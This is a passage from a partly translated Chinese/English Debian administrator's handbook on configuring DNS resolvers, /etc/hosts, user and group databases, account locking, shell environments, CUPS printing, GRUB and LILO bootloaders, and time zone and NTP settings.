DNS (网域名称服务) 是映射名称至 IP 地址的分布式分级服务，同时也反向映射。尤其是，把可阅读的名称，如 www.eyrolles.com 映射至实际的 IP 地址 213.244.11.247。

必须先设置 DNS 服务器，才能用到 DNS 信息。Falcot 公司自设该服务器，但个人用户可能使用 ISP 提供的 DNS 服务器。

The DNS servers to be used are indicated in /etc/resolv.conf, one per line, with the nameserver keyword preceding an IP address, as in the following example:

nameserver 212.27.32.176

nameserver 212.27.32.177

nameserver 8.8.8.8

Note that the /etc/resolv.conf file may be handled automatically (and overwritten) when the network is managed by NetworkManager or configured via DHCP, or when resolvconf is installed or systemd-resolved(8) is enabled.

8.3.1.2. /etc/hosts 文件

在本地网络没有名称服务器时，仍可以在保留给本地网络的 /etc/hosts 文件内，创建 IP 地址与主机名称的小型对照表。此文件的语法在 hosts(5) 中说明，极简单：每列一个固定 IP 地址，然后是相关的名称 (第一个是 “完全合格”，表示包括网域名称)。

即使网络停摆或 DNS 服务器不通仍可使用此文件，但只适用于本地网络所有机器都复制的内容。即使是极微小的变动，都需要更新各地所有的文件。所以， /etc/hosts 通常只包括最重要的条目。

这个文件对未连上互联网的小型网络是够用的，但对于5 部以及以上的机器，推荐安装一个 DNS 服务器。

秘诀 绕过 DNS

某些应用程序先检查 /etc/hosts 文件才查找 DNS，与 DNS 送回数据不同的部分，可以先保存在这里，并略过 DNS 的名称解析。

修改 DNS 但尚未部署前，这种做法可以测试网站名称与 IP 地址的对应性。

另一个可能用法是把流量转移至指定的区域主机，避免大流量进入指定的主机。例如，可以绕过专供广告使用的服务器主机名称，让结果更顺畅、少些干扰。

8.4. 用户与群组数据库

用户清单通常保存在 /etc/passwd 文件内，把哈希编码后的密码保存在 /etc/shadow 文件内。这两个文件都是纯文本档，以简单的格式保存，可以用文本编辑器读取与修改。每个用户占一行，其字段以冒号分隔 (“:”)。

说明 编辑系统文件

本章讨论的系统文件都是纯文本档，可以用文本编辑器处理。这些文件对内核系统的运作极为重要，编辑该等文件时多加慎重不会错的。首先，先复制或备份原文件。第二，在服务器或多人可同时使用该等文件的机器上，多费心以防止文件损坏。

为了达成此目标，最好使用 vipw 命令编辑 /etc/passwd 文件，或使用 vigr 命令编辑 /etc/group 文件。这些命令会先锁住该文件再运行文本编辑器， (缺省使用 vi 命令，除非 EDITOR 环境变量有其他的设置)。加上 -s 选项可同时编辑对应的 shadow 文件。

基础知识 Crypt，单向的函数

crypt 是单向函数以特别的方法把字符串 (A) 转换成另个字符串 (B)，转换后无法经由 B 恢复成 A 。辨识 A 的唯一方法是逐一测试所有可能的值，查验等同于 B 的结果。最多可输入 8 个字符 (字符串 A) 然后产生 13 个字符的可打印 ASCII 字符 (字符串 B)。

8.4.1. 用户清单：/etc/passwd

在 /etc/passwd 文件内的字段清单：

- 登录，例如 rhertzog;

- password: this is a password encrypted by a one-way function (crypt), relying on DES, MD5, SHA-256 or SHA-512. The special value “x” indicates that the encrypted password is stored in /etc/shadow;

- uid：用于辨识用户的不重复数字;

- gid：用户主要群组 (Debian 的默认值系为每个用户创建一个群组) 的不重复号码;

- GECOS：通常保存用户全名的数据栏;

- 登入目录，用于保存用户的个人文件 (环境变量 $HOME 通常指向此处);

- 登录时运行的程序。通常是命令解译器 (shell)，若指定为 /bin/false (不做任何事并立即回到控制)，则用户无法登录。

As mentioned before, one can edit this file directly. But there are more elegant ways to apply changes, which are described in 第 8.4.3 节 “修改既有的帐号或密码”.

基础知识 Unix 群组

Unix 群组是包括多个用户的实体，以集成授权系统可以共享文件 (具有同样的权限)。可以限定程序供指定的群组使用。

8.4.2. 隐藏与加密的密码档：/etc/shadow

/etc/shadow 文件含以下的字段：

- 登录;

- 加密的密码;

- 管理密码期限的字段。

One can expire passwords using this file or set the time until the account is disabled after the password has expired.

安全 /etc/shadow 文件的安全

/etc/shadow，不同于它的分身，/etc/passwd，不能被一般用户读取。保存在 /etc/passwd 内的哈希编码后的密码可被任何人读取；破坏者可以用 “暴力” 法破坏它们，以常见的编码字符破解。这种攻击方式 — 称为 "字典攻击" — 对于使用 /etc/shadow 的系统是无效的。

文档 /etc/passwd、/etc/shadow 与 /etc/group 文件格式

These formats are documented in the following man pages: passwd(5), shadow(5), and group(5).

8.4.3. 修改既有的帐号或密码

The following commands allow modification of the information stored in specific fields of the user databases: passwd permits a regular user to change their password, which in turn, updates the /etc/shadow file (chpasswd allows administrators to update passwords for a list of users in batch mode); chfn (CHange Full Name), reserved for the super-user (root), modifies the GECOS field. chsh (CHange SHell) allows the user to change their login shell; however, available choices will be limited to those listed in /etc/shells; the administrator, on the other hand, is not bound by this restriction and can set the shell to any program of their choosing.

最后，chage (CHange AGE) 命令允许管理者变更密码的有效期 (-l 用户 选项列出现在的设置)。用 passwd -e 用户 命令强迫密码失效，要求用户登录时变更密码才能继续使用。

Besides these tools the usermod command allows to modify all the details mentioned above.

8.4.4. 帐号禁用

You may find yourself needing to “disable an account” (lock out a user), as a disciplinary measure, for the purposes of an investigation, or simply in the event of a prolonged or definitive absence of a user. A disabled account means the user cannot login or gain access to the machine. The account remains intact on the machine and no files or data are deleted; it is simply inaccessible. This is accomplished by using the command passwd -l user (lock). Re-enabling the account is done in similar fashion, with the -u option (unlock). This, however, only prevents password-based logins by the user. The user might still be able to access the system using an SSH key (if configured). To prevent even this possibility you have to expire the account as well using either chage -E 1user or usermod -e 1 user (giving a value of -1 in either of these commands will reset the expiration date to never). To (temporarily) disable all user accounts just create the file /etc/nologin.

You can disable a user account not only by locking it as described above, but also by changing its default login shell (chsh -s shell user). With the latter changed to /usr/sbin/nologin, a user gets a polite message informing that a login is not possible, while /bin/false just exits while returning false. There is no switch to restore the previous shell. You have to get and keep that information before you change the setting. These shells are often used for system users which do not require any login availability.

进一步 NSS 与系统数据库

除了使用文件管理用户与群组清单，还可以通过适当的 NSS (Name Service Switch 切换i昵称服务) 模块使用其他数据库类型，诸如 LDAP 或 db。可用的模块列在 /etc/nsswitch.conf 文件内，在 passwd、shadow 与 group 条目下。LDAP 下的 NSS 模块使用法，见 第 11.7.3.1 节 “配置 NSS”。

8.4.5. 群组清单：/etc/group

群组列在 /etc/group 文件内，类似 /etc/passwd 文件的纯文本数据库，包括以下的字段：

- 群组名称;

- 密码 (可选)：只在加入群组时会用到 (使用 newgrp 或 sg 命令，见专栏 基本知识 在多个群组工作);

- gid：不重复的群组识别码;

- 成员清单：属于此群组的用户名清单，以逗号分隔。

基本知识 在多个群组工作

用户可能加入多个群组；其中一个是 “主群组”。用户自己的主群组默认是初始化用户配置时自动产生的。默认情况下，用户添加的文件自动属于该用户，以及其主群组。这种方式并不重视可取的；例如，用户需要在自己主群组文件夹之外工作，与其他群组共享其文件。在这种情况下，用户需以命令：newgrp 变更其主要群组，启动新的 shell，或以 sg 命令，使用其他群组执行一个命令。这些命令也允许用户加入其他群组。若该群组受密码保护，则需先取得密码才能运行该等命令。

用户还可以设置文件夹的 setgid 位，让该文件夹内的文件自动属于特定群组。详情见专栏 安全 文件夹的 setgid 和 sticky bit。

id 命令显示用户的当前状态，包括个人辨识码 (uid 变量)、当前的主群组 (gid 变量)、以及其所属群组的清单 (groups 变量)。

addgroup 与 delgroup 命令可以添加或删除群组。groupmod 命令修改群组的信息 (其 gid 或辨识码)。命令 gpasswd group 可变更群组的密码，gpasswd -r group 命令可删除群组的密码。

秘诀 getent

getent (get entries) 命令使用适当的程序库函数，调用配置于 /etc/nsswitch.conf 文件的 NSS 模块，以标准方式检查系统数据库。此命令需要一个或两个参数：被检查的数据库名称、以及可能的搜索键词。因此，getent passwd rhertzog 命令将从用户 rhertzog 中给予用户数据库。

8.5. 添加帐号

设置新机器后管理者需做的第一件事就是添加用户帐号。以 adduser 命令添加用户的名称，作为其参数。

adduser 命令在添加帐号前先询问若干问题，但其使用方式相当直观。 /etc/adduser.conf 是它的配置档，包括有趣的设置：可用于自动设置用户的配额、或改变用户帐号的位置；后者较少使用，但有多个用户且需分隔帐号于若干硬盘时，就是很好用的工具。也可选择不同的 shell 为默认值。

基本知识 额度

“额度” 指的是用户在此机器可使用的资源上限。通常指的是磁盘空间。

添加帐号时，把用户的家目录设置为与 /etc/skel/ 模板目录相同。这样可以提供给用户一组标准的文件夹与配置文件。

有的时候，把用户加入群组 (除了缺省的 “主要” 群组) 以取得额外的权限。例如，在 audio 群组内的用户可以使用该群组内的音效设备 (见专栏 基本知识 设备访问权限)。以 adduser user group 命令就能把用户加入该群组。

基本知识 设备访问权限

在 Unix 之下，每个周边硬件设备都是一个保存在 /dev/ (DEVices) 的特别文件。根据设备的特性有两种特别文件：“字符模式” 与 “区块模式” 文件，每个模式都只有固定数量的操作。字符模式限制读/写操作，区块模式还允许搜索可得的数据。最后，每个特别文件有两个数字 (“主要” 与 “次要”) 供内核辨识该设备。这种文件以 mknod 命令添加，包括符号名称 (人类可以理解的符号)。

特别文件的权限映射至设备本身的访问权限。因此，/dev/mixer 这个文件代表混音器，只有root用户与 audio 群组的用户拥有读/取权限。且只有该用户才能操作混音器。

使用 udev 与 policykit 指令，用户就可以直接操作 (不经由网络) 这些设备。

8.6. Shell 环境

命令解译器 (或 shells) 是用户接触电脑的第一个点，必须足够友善。大部分的人使用初始设置的脚本配置其行为 (自动完成、提示字符等)。

bash 是标准的 shell，使用 /etc/bash.bashrc 初始脚本为 “交互” shell 初始化，并以 /etc/profile 作为 “登录” shell。

简单地说，不论本地登录或使用 ssh 远程登录，或以 bash --login 命令登录，都启用登录 shell。在 登录或非登录 shell 里，该 shell 必须是交互的 (例如在 xterm-type 终端机内)；或非交互式 (执行脚本时)。

发现 其他 shells、其他脚本

Each command interpreter has a specific syntax and its own configuration files. Thus, zsh uses the files in /etc/zsh/; tcsh uses /etc/csh.cshrc, /etc/csh.login and /etc/csh.logout. The man pages for these programs document which files they use.

For bash, it is useful to install and activate “automatic completion”. The package bash-completion contains these completions for most common programs and is usually enabled if the user's .bashrc configuration file was copied from /etc/skel/.bashrc. Otherwise it can be enabled via /etc/bash.bashrc (simply uncomment a few lines) or /etc/profile.

基础知识 自动补完

若干命令解译器提供补完功能，即键入命令前几个字后，用户按 Tab ，shell 自动补完命令名称或参数。用户的工作更有效率且更少错误。

此函数极有用并富弹性。可根据每个命令分别配置。因此，apt 之后的第一个参数，即使未映射任何文件 (在本例中，可能的选择为 install、remove、upgrade等)，也可根据此命令的语法构建。

基础知识 波浪号（“~”），回到home文件夹的捷径

波浪号（“~”）通常用于表示环境变量 HOME ，指向 (就是用户的home文件夹，如 /home/rhertzog/) 的文件夹。命令解译器自动取代：~/hello.txt 就是 /home/rhertzog/hello.txt。

波浪号也可使用至另一个用户的home文件夹。因此，~rmas/bonjour.txt 等于 /home/rmas/bonjour.txt。

In addition to these common scripts, each user can create their own ~/.bashrc and ~/.bash_profile to configure their shell. The most common changes are the addition of aliases; these are words that are automatically replaced with the execution of a command, which makes it faster to invoke that command. For instance, you could create the la alias for the command ls -la | less command; then you only have to type la to inspect the contents of a directory in detail. Please note that the shell needs to be reinitialized after adding an alias, e.g. by starting a new shell.

基础知识 环境变量

环境变量保存供 shell 或其他程序使用的全域设置。它们是与环境相关的 (每个进程都有自己的环境变量) 但可继承的。最后这个特性让登录 shell 时可以声明继承所有程序的变量。

Setting default environment variables is an important element of shell configuration. Leaving aside the variables specific to a shell, it is preferable to place system wide variables in the /etc/environment file, since it is used by the various programs likely to initiate a shell session. Variables typically defined there include ORGANIZATION, which usually contains the name of the company or organization, and HTTP_PROXY, which indicates the existence and location of an HTTP proxy. Other options include to set system wide variables via scripts in /etc/profile.d, or session wide variables via .pam_environment or .profile, where the latter can override any definition contained in the first. The file /etc/default/locale is meant to contain system wide locale related environment variables.

秘诀 所有的 shell 拥有相同的配置

Users often want to configure their login and interactive shells in the same way. To do this, they choose to interpret (or “source”) the content from ~/.bashrc in the ~/.bash_profile file. However, the default ~/.profile file is sourcing ~/.bashrc already and you don't need to create ~/.bash_profile for this purpose anymore, except you want to customize your shell further (see bash(1) for which files are read by bash for login shells). It is also possible to do the same with files common to all users (by calling /etc/bash.bashrc from /etc/profile, which is also done by default now).

8.7. 打印机配置

Printer configuration used to cause a great many headaches for administrators and users alike. These headaches are now mostly a thing of the past, thanks to CUPS, the free print server using IPP, the Internet Printing Protocol.

Debian distributes CUPS divided between several packages. The heart of the system is the scheduler, cupsd, which is in the cups-daemon package. cups-client contains utility programs to interact with the server, cupsd. lpadmin is probably the most important utility, as it is crucial for setting up a printer, but there are also facilities to disable or enable a printer queue, view or delete print jobs and display or set printer options. The CUPS framework is based on the System V printing system, but there is a compatibility package, cups-bsd, allowing use of commands such as lpr, lpq and lprm from the traditional BSD printing system.

社区 CUPS

CUPS is a project and a trademark owned and managed by Apple, Inc. Prior to its acquisition by Apple it was known as the Common Unix Printing System.

→ https://www.cups.org/

The scheduler manages print jobs and these jobs traverse a filtering system to produce a file that the printer will understand and print. The filtering system is provided by the cups-filters package in conjunction with printer-driver-* packages. CUPS in combination with these packages is the basis for the Debian printing system.

Modern printers manufactured and sold within the last ten years are nearly always AirPrint-capable, and CUPS and cups-filters on Debian Bullseye have everything which is needed to take advantage of this facility on the network. In essence, these printers are IPP printers and an excellent fit for a driverless printing system, reducing the system to CUPS plus cups-filters. A printer-driver package can be dispensed with, and non-free printing software from vendors like Canon and Brother is no longer required. A USB-connected printer can take advantage of a modern printer with the ippusbxd package.

The command apt install cups will install CUPS and the filters. It will also install the recommended printer-driver-gutenprint to provide a driver for a wide range of printers, but, unless the printer is being operated driverlessly, an alternative printer-driver might be needed for the particular device.

作为 cups-daemon 建议的软件包，cups-browsed 将在系统和网络上监测打印队列，现代的打印机可以从DNS-SD广播 (Bonjour)自动发现和设置。USB打印机必须用下面说明方式手工设置。

The printing system is administered easily through a web interface accessible at the local address http://localhost:631/. Members of the lpadmin group can add and remove USB and network printers and administer most aspects of their behavior. Similar administration tasks can also be carried out via the graphical interface provided by a desktop environment or the system-config-printer graphical interface (from the homonym Debian package).

8.8. 配置引导加载器（Bootloader）

或许已经运作了，但最好知道如何配置与安装引导加载器，万一它不在MBR中。安装 Windows 等其他操作系统后，很可能出现这种情况。以下的信息在必要时可协助修改引导加载器的配置。

基础知识 主引导记录（MBR）

主引导记录 (Master Boot Record, MBR) 位于第一个磁盘的最前方 512 字节，首先被 BIOS 加载，再启动操作系统。一般来说，安装引导加载器到主引导记录时，会移除之前的内容。

8.8.1. 辨识磁盘

文化 udev 与 /dev/

/dev/ 文件夹通常保存被称为 “特殊的” 文件，用于代表系统的周边设备 (见专栏 基本知识 设备访问权限)。曾经纳入所有可能用到的特殊文件。这种处理方式有若干缺点，限制设备数量是其中之一，每种设备只能有一个 (因为清单名称被限制)，且不可能知道实际上该用哪个特殊文件。

如今，以动态方式管理特殊文件，并且更适合热切换电脑设备。内核与 udev (第 9.11.3 节 “udev 如何工作”) 合作在需要的时候添加与删除文件以映射出现或消失的设备。所以，/dev/ 不需要维持不变，反而采用 RAM 保存的文件系统清除或纳入相关的条目。

The kernel communicates lots of information about any newly added device and hands out a pair of major/minor numbers to identify it. With this udevd can create the special file under the name and with the permissions that it wants. It can also create aliases and perform additional actions (such as initialization or registration tasks). udevd's behavior is driven by a large set of (customizable) rules usually found in /lib/udev/rules.d/ and /etc/udev/rules.d/.

动态给予名称，就能够让相同的名称永远指向特定设备，不必在意链接的设备或顺序，尤其在使用 USB 周边时更为便利。第一个磁盘的第一个分区称为 /dev/sda1 可供向后兼容，喜欢的话也可称为 /dev/root-partition，或两者共用，因为 udevd 可以配置成自动添加符号链接。

In ancient times, some kernel modules did automatically load when you tried to access the corresponding device file. This is no longer the case, and the peripheral's special file no longer exists prior to loading the module; this is no big deal, since most modules are loaded on boot thanks to automatic hardware detection. But for undetectable peripherals (such as very old disk drives or PS/2 mice), this doesn't work. Consider adding the modules, floppy, psmouse and mousedev to /etc/modules or /etc/modules-load.d/ in order to force loading them on boot.

配置引导加载器必须辨认硬盘及其分区。Linux 使用 “block” 特殊文件保存在 /dev/ 文件夹内。由 Debian Squeeze 版本开始使用源自 Linux 内核的硬盘命名架构，所有的硬盘 (IDE/PATA、SATA、SCSI、USB、IEEE 1394) 都以 /dev/sd* 表示。

每个分区由其磁盘代号表示：如，/dev/sda1 是第一个磁盘的第一个分区，而 /dev/sdb3 是第二个磁盘的第三个分区。

PC 架构 (或 “i386”，包括新出现的 “amd64”) 不再受限于使用 “MS-DOS” 分区表格式，每个磁盘可以拥有超过 4 个 “主要” 分区。在此架构下要超过此限制，必须添加 “扩展” 分区，然后就能使用添加的 “次要” 分区。这些次要分区由 5 开始编号。所以，第一个磁盘的次要分区可以是 /dev/sda5，然后是 /dev/sda6，余此类推。

MS-DOS 分区表格式的另一个限制是磁盘的容量不能超过 2 TiB，这成为现代磁盘的真正问题。

A new partition table format called GPT (GUID Partition Table) loosens these constraints on the number of partitions (it allows up to 128 partitions when using standard settings) and on the size of the disks (up to 8 ZiB, which is more than 8 billion terabytes). If you intend to create many physical partitions on the same disk, you should therefore ensure that you are creating the partition table in the GPT format when partitioning your disk.

QUICK LOOK The Globally Unique Identifier (GUID)

Using GPT the partition type is represented as a 16 bytes long universally unique identifier, also known as Globally Unique Identifier (GUID), which is part of the UEFI standard (see 笔记 UEFI，一个 BIOS 的现代替代品). Compared to the hex code used to determine the partition type in the MS-DOS table format, you will have a hard time trying to remember these identifiers. Fortunately there are lists with all the IDs which you can use to create partition recipes to use with sfdisk or for preseeding the Debian installer.

→ https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs

It is not always easy to remember what disk is connected to which SATA controller, or in third position in the SCSI chain, especially since the naming of hotplugged hard drives (which includes among others most SATA disks and external disks) can change from one boot to another. Fortunately, udev creates, in addition to /dev/sd*, symbolic links with a fixed name, which you could then use if you wished to identify a hard drive in a non-ambiguous manner. These symbolic links are stored in /dev/disk/by-id/. On a machine with two physical disks, for example, one could find the following:

mirexpress:/dev/disk/by-id# ls -l

total 0

lrwxrwxrwx 1 root root  9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2

[...]

lrwxrwxrwx 1 root root  9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1

[...]

mirexpress:/dev/disk/by-id#

Note that some disks are listed several times (because they behave simultaneously as ATA disks and SCSI disks), but the relevant information is mainly in the model and serial numbers of the disks, from which you can find the peripheral file. While the links in /dev/disk/by-id/ are created using the device' serial number and physical path, there are more convenience links in e.g. /dev/disk/by-label/ (based on given labels), /dev/disk/by-uuid/ (based on unique identifiers, which can change when reformatting a device using mkfs.* or mkswap), /dev/disk/by-path/ (based on shortest physical path), and /dev/disk/by-partlabel/ and /dev/disk/by-partuuid/ (only partitions with GPT labels and their unique identifiers). If you use these links, e.g. in /etc/fstab, always prefer unique identifiers over labels. You can also obtain and change this information for each partition or device using the lsblk and blkid commands.

下面的配置根据同样的设置而来：一个 SATA 磁盘，第一个区分安装了旧的Windows系统、第二个分区安装了 Debian GNU/Linux。

ALTERNATIVE The LILO bootloader

LILO (Linux 加载器，LInux LOader) 是最旧的引导加载器 — 稳定但粗糙。把启动内核的物理地址写入到MBR中，所以每次更新 LILO (或其配置文件) 都必须再运行命令 lilo。忘记的话，移除或更新内核后，新的内核就不在磁盘的原来位置，以致系统无法启动。

LILO 的配置档是 /etc/lilo.conf；一个简单的标准配置文件示例如下。

例 8.4. LILO 配置文件

# The disk on which LILO should be installed.

# By indicating the disk and not a partition.

# you order LILO to be installed on the MBR.

boot=/dev/sda

# the partition that contains Debian

root=/dev/sda2

# the item to be loaded by default

default=Linux

# the most recent kernel image

image=/vmlinuz

label=Linux

initrd=/initrd.img

read-only

# Old kernel (if the newly installed kernel doesn't boot)

image=/vmlinuz.old

label=LinuxOLD

initrd=/initrd.img.old

read-only

optional

# only for Linux/Windows dual boot

other=/dev/sda1

label=Windows

As per request of the maintainer and upstream author of lilo, the bootloader has been removed from Debian 11 Bullseye and it is unlikely to make a comeback.

8.8.2. GRUB 2 配置

GRUB (GRand Unified Bootloader) is more recent. It is not necessary to invoke it after each update of the kernel; GRUB knows how to read the filesystems and find the position of the kernel on the disk by itself. To install it on the MBR of the first disk, simply type grub-install /dev/sda. This will overwrite the MBR, so be careful not to overwrite the wrong location. While it is also possible to install GRUB into a partition boot record, beware that it is usually a mistake and doing grub-install /dev/sda1 has not the same meaning as grub-install /dev/sda.

说明 GRUB 的磁盘名称

GRUB can only identify hard drives based on information provided by the BIOS. (hd0) corresponds to the first disk thus detected, (hd1) the second, etc. In most cases, this order corresponds exactly to the usual order of disks under Linux, but problems can occur when you associate SCSI and IDE disks. GRUB used to store the correspondences that it detected in the file /boot/grub/device.map. Nowadays it avoids this problem using universally unique identifier (UUIDs) or file system labels when generating grub.cfg. However, the device map file is not obsolete yet, since it can be used to override when the current environment is different from the one on boot. If you find errors there (because you know that your BIOS detects drives in a different order), correct them manually and run grub-install again. grub-mkdevicemap can help creating a device.map file from which to start.

分区表在 GRUB 内也有特定的名称。通常使用 MS-DOS 格式的 “经典” 分区，第一个磁盘的第一个分区标记为 (hd0,msdos1)、第二个分区标记为 (hd0,msdos2)，余此类推。

GRUB 2 configuration is stored in /boot/grub/grub.cfg, but this file (in Debian) is generated from others. Be careful not to modify it by hand, since such local modifications will be lost the next time update-grub is run (which may occur upon update of various packages). The most common modifications of the /boot/grub/grub.cfg file (to add command line parameters to the kernel or change the duration that the menu is displayed, for example) are made through the variables in /etc/default/grub. To add entries to the menu, you can either create a /boot/grub/custom.cfg file or modify the /etc/grub.d/40_custom file. For more complex configurations, you can modify other files in /etc/grub.d, or add to them; these scripts should return configuration snippets, possibly by making use of external programs. These scripts are the ones that will update the list of kernels to boot: 10_linux takes into consideration the installed Linux kernels; 20_linux_xen takes into account Xen virtual systems, and 30_os-prober adds other existing operating systems (Windows, OS X, Hurd), kernel images, and BIOS/EFI access options to the menu.

CAUTION error: symbol `grub_*' not found

One of the most often reported issues when using GRUB is that users get an error like error symbol `grub_calloc' not found and they are unable to boot the system anymore. Most of the time this error is caused by installing an updated version of GRUB that causes new modules in /boot/grub to be incompatible with old core images in the boot sector that your firmware jumps to when booting your machine. This happens on systems that are configured to run grub-install to a target device that is not actually the one that the firmware uses to boot your system (e.g. after replacing disks or moving them around - one can see the issue when running dpkg-reconfigure grub-pc showing the wrong target device). With the release of Debian 11 Bullseye (the change was also populated to Buster) the update process now checks for this issue and exits with an error in case it finds such a constellation.

→ https://bugs.debian.org/bug=966575#95

Setting up grub-pc (2.02+dfsg1-20+deb10u4) ...

/dev/disk/by-id/[..] does not exist, so cannot grub-install to it!

You must correct your GRUB install devices before proceeding:

DEBIAN_FRONTEND=dialog dpkg --configure grub-pc

dpkg --configure -a

dpkg: error processing package grub-pc (--configure):

installed grub-pc package post-installation script subprocess returned error exit status 1

To fix the issue and continue the upgrade procedure, just follow the advice and run the commands given by the error message as root.

8.8.3. Using GRUB with EFI and Secure Boot

Using GRUB to boot either a traditional BIOS system (legacy or UEFI-CSM) or a UEFI system is quite different. Fortunately the user doesn't need to know the differences because Debian provides different packages for each purpose and the installer automatically cares about which one(s) to choose. The grub-pc package is chosen for legacy systems, where GRUB is installed into the MBR, while UEFI systems require grub-efi-arch, where GRUB is installed into the EFI System Partition (ESP). The latter requires a GTP partition table as well as an EFI partition.

→ https://wiki.debian.org/Grub2#UEFI_vs_BIOS_boot

To switch an existing system (supporting UEFI) from legacy to UEFI boot mode not only requires to switch the GRUB packages on the system, but also to adjust the partition table and the to create an EFI partition (probably including resizing existing partitions to create the necessary free space). It is therefore quite an elaborate process and we cannot cover it here. Fortunately, there are some manuals by bloggers describing the necessary procedures.

If you are using a system with “Secure Boot“ enabled and have installed shim-signed (see sidebar 文化 安全引导和 shim 引导程序), you must also install grub-efi-arch-signed. This package is not pulled in automatically, only if the installation of recommended package has been enabled.

8.9. 其他配置：时间同步、日志记录、共享访问…

本节列出的细目对希望精通 GNU/Linux 系统配置极有帮助。这里只列出简要的内容，详情仍需参阅文档。

8.9.1. 时区

基础知识 符号链接

符号链接是一种指向另一个文件的指针。使用时，被指向的文件就被打开。移除链接不会删除指向的文件。同样的，没有自身的授权，而是使用目标的授权。最后，可以用于任何类型的文件：文件夹、特殊文件 (socket、命名管道、设备文件等)、甚至另一个符号链接。

ln -s target link-name 命令添加一个符号链接，命名为 link-name，指向 target。

若目标不存在，则链接算是 “破损” 且其使用返回错误消息指示目标文件不存在。若链接指向另一个链接，该链接又指向其前一个链接，则该链接的 “链” 形成 “循环”。在这种情况下，使用循环内的任一链接也会得到特定的错误 (“过多层的符号链接”)；经过若干循环后内核会放弃它。

The timezone, configured during initial installation, is a configuration item for the tzdata package. To modify it, use the dpkg-reconfigure tzdata command, which allows you to choose the timezone to be used in an interactive manner. Its configuration is stored in the /etc/timezone file. Additionally, /etc/localtime becomes a symbolic link to the corresponding file in the /usr/share/zoneinfo; the file that contains the rules governing the dates where daylight saving time (DST) is active, for countries that use it.

暂时变更时区，可使用 TZ 环境变量，它的优先次序在缺省的配置档之前：

$ date

Thu Sep  2 22:29:48 CEST 2021

$ TZ="Pacific/Honolulu" date

Thu 02 Sep 2021 10:31:01 AM HST

说明 系统时钟，硬件时钟

电脑内有两个时间来源。主板有个硬件时钟，称为 “CMOS 时钟”。这个时钟不准，访问的速度慢。操作系统内核有自己的系统时钟，以自己的方式 (可能由时间服务器协助，见 第 8.9.2 节 “时间同步”) 保持时间的正确。此系统时钟较为准确，尤其是不需经由硬件变量就能近用。然而，系统时钟只存在于内存，开机就归零，不像 CMOS 时间钟，有电池支持，不受重新开机影响，关机时仍能 “存活”。因此，开机时，由 CMOS 时钟设置系统时钟，关机时更新 CMOS 时钟 (若被不当调整就能修正它)。

实务上有个问题，因为 CMOS 时钟只是个计数器，未含时区信息。有几个方式选择其解释方式：系统以世界标准时间 (UTC，旧称 GMT)，或当地时间看待。虽然可以简单切换，但却颇为复杂：它的偏移值不是常数。系统无法判断偏移值的正确性，尤其在时区交接。总是在世界标准时间与时区信息之间重组本地时间，强烈推荐使用 CMOS 时间为世界标准时间。

Unfortunately, some Windows systems in their default configuration ignore this recommendation; they keep the CMOS clock on local time, applying time changes when booting the computer by trying to guess during time changes if the change has already been applied or not. This works relatively well, as long as the system has only Windows running on it. But when a computer has several systems (whether it be a “dual-boot” configuration or running other systems via virtual machine), chaos ensues, with no means to determine if the time is correct. If you absolutely must retain Windows on a computer, you should either configure it to keep the CMOS clock as UTC (setting the registry key HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal to “1” as a DWORD), or use hwclock --localtime --set on the Debian system to set the hardware clock and mark it as tracking the local time (and make sure to manually check your clock in spring and autumn).

8.9.2. 时间同步

时间同步，在单机时代是多余，但在网络时代却很重要。用户无权修改日期与时间，所以需要精准的时间以免混乱。尤有甚者，网络上的电脑时间同步后，有助于安排社区工作者透过全球网络互联。受到攻击时，容易依序恢复原来的运作。由多部机器收集来的统计数据，必须有同步的时间，才能发挥作用。

基础知识 NTP

网络时间协议 (Network Time Protocol, NTP) 可以让机器间相当精准的同步，甚至把网络延迟及其他偏移值列入考量。

互联网上很多 NTP 服务器可用，受欢迎的其工作量可能负荷过重。所以推荐使用 pool.ntp.org NTP 服务器，它是一组公开的 NTP 服务器。也可使用针对特定地区的次群组服务器，如 us.pool.ntp.org 系供美国使用、ca.pool.ntp.org 供加拿大使用。

然而，管理大型网络时，还推荐安装与公共服务器同步的自己 NTP 服务器。同个网络上自己的机器，就能使用内部的 NTP 服务器不必增加外部公共服务器的负担。以自己的时钟增加网络内机器的同质化，同步截取与共用资源，使用共同的网络交换时间。

8.9.2.1. 工作站

